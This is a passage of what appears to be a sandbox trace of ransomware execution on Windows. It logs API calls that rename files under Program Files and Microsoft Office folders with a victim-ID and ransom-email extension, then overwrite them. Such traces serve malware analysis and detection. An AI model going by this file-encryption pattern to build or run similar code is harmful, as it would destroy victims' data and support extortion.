nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xaec7496, dwReserved1=0x712f710, cFileName="UniversalNotificationPlatform.010.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNIVER~4.FIR")) returned 0x6d4f80 [0235.916] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0235.916] Sleep (dwMilliseconds=0x1) [0235.980] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml") returned 1 [0235.980] GetProcessHeap () returned 0x630000 [0235.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f74) returned 0x6fe3bb0 [0235.980] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.420] CloseHandle (hObject=0x6f8) returned 1 [0236.420] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.420] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5400 [0236.422] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0236.422] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.422] GetProcessHeap () returned 0x630000 [0236.422] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7232d0 [0236.422] GetProcessHeap () returned 0x630000 [0236.422] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7234c8 [0236.422] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.422] ReadFile (in: hFile=0x6f8, lpBuffer=0x7232d0, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7232d0*, lpNumberOfBytesRead=0x5c3ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0236.425] GetProcessHeap () returned 0x630000 [0236.425] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0236.425] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.425] WriteFile (in: hFile=0x6f8, lpBuffer=0x7234c8*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7234c8*, lpNumberOfBytesWritten=0x5c3ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0236.425] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.425] WriteFile (in: hFile=0x6f8, lpBuffer=0x723687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723687*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.426] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.426] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.426] CloseHandle (hObject=0x6f8) returned 1 [0236.426] GetProcessHeap () returned 0x630000 [0236.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7234c8 | out: hHeap=0x630000) returned 1 [0236.426] GetProcessHeap () returned 0x630000 [0236.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7232d0 | out: hHeap=0x630000) returned 1 [0236.426] GetProcessHeap () returned 0x630000 [0236.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0236.426] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52dea869, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x203, dwReserved0=0x5c3fd20, dwReserved1=0x7232d0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5280 [0236.426] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0236.426] Sleep (dwMilliseconds=0x1) [0236.439] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt", len=0x72 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt") returned 1 [0236.439] GetProcessHeap () returned 0x630000 [0236.439] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f24) returned 0x6fe3bb0 [0236.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\excelmessagedismissal.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0236.440] CloseHandle (hObject=0x66c) returned 1 [0236.440] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\excelmessagedismissal.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\excelmessagedismissal.txt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x330038, dwReserved1=0x320031, cFileName="ExcelMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXCELM~1.FIR")) returned 0x6d5040 [0236.442] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0236.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\excelmessagedismissal.txt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0236.443] GetProcessHeap () returned 0x630000 [0236.443] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2e1) returned 0x713abd8 [0236.443] GetProcessHeap () returned 0x630000 [0236.443] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2e1) returned 0x6f10698 [0236.443] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.443] ReadFile (in: hFile=0x66c, lpBuffer=0x713abd8, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713abd8*, lpNumberOfBytesRead=0x5c3ff0c*=0x2c0, lpOverlapped=0x0) returned 1 [0236.449] GetProcessHeap () returned 0x630000 [0236.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0236.449] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.449] WriteFile (in: hFile=0x66c, lpBuffer=0x6f10698*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f10698*, lpNumberOfBytesWritten=0x5c3ff0c*=0x2c0, lpOverlapped=0x0) returned 1 [0236.449] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.450] WriteFile (in: hFile=0x66c, lpBuffer=0x6f10957*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f10957*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.450] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.450] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.450] CloseHandle (hObject=0x66c) returned 1 [0236.450] GetProcessHeap () returned 0x630000 [0236.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f10698 | out: hHeap=0x630000) returned 1 [0236.450] GetProcessHeap () returned 0x630000 [0236.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x713abd8 | out: hHeap=0x630000) returned 1 [0236.450] GetProcessHeap () returned 0x630000 [0236.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0236.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52e107d4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f2, dwReserved0=0xaec7496, dwReserved1=0x713abd0, cFileName="ExcelMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXCELM~1.FIR")) returned 0x6d5040 [0236.450] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0236.480] Sleep (dwMilliseconds=0x1) [0236.516] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk", len=0x78 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk") returned 1 [0236.516] GetProcessHeap () returned 0x630000 [0236.516] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f1c) returned 0x6fe3bb0 [0236.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.518] CloseHandle (hObject=0x6f8) returned 1 [0236.518] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.519] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.521] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="SpreadsheetCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~2.FIR")) returned 0x6d4ec0 [0236.521] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0236.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.522] GetProcessHeap () returned 0x630000 [0236.522] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0236.522] GetProcessHeap () returned 0x630000 [0236.522] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4fb8 [0236.522] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.522] ReadFile (in: hFile=0x6f8, lpBuffer=0x6a5318, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesRead=0x5c3ff0c*=0x60, lpOverlapped=0x0) returned 1 [0236.523] GetProcessHeap () returned 0x630000 [0236.523] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0236.523] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.523] WriteFile (in: hFile=0x6f8, lpBuffer=0x6a4fb8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4fb8*, lpNumberOfBytesWritten=0x5c3ff0c*=0x60, lpOverlapped=0x0) returned 1 [0236.524] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.524] WriteFile (in: hFile=0x6f8, lpBuffer=0x6a5017*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5017*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.524] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.524] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.524] CloseHandle (hObject=0x6f8) returned 1 [0236.524] GetProcessHeap () returned 0x630000 [0236.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4fb8 | out: hHeap=0x630000) returned 1 [0236.524] GetProcessHeap () returned 0x630000 [0236.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0236.524] GetProcessHeap () returned 0x630000 [0236.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0236.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52ecf504, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x5c3fd20, dwReserved1=0x6a5318, cFileName="SpreadsheetCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~2.FIR")) returned 0x6d53c0 [0236.527] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0236.527] Sleep (dwMilliseconds=0x1) [0236.530] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc", len=0x76 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc") returned 1 [0236.530] GetProcessHeap () returned 0x630000 [0236.531] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f14) returned 0x6fe3bb0 [0236.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.532] CloseHandle (hObject=0x4d4) returned 1 [0236.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcae6392, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcae6392, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x380039, dwReserved1=0x340032, cFileName="SpreadsheetCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~4.FIR")) returned 0x6d4f40 [0236.535] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0236.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: 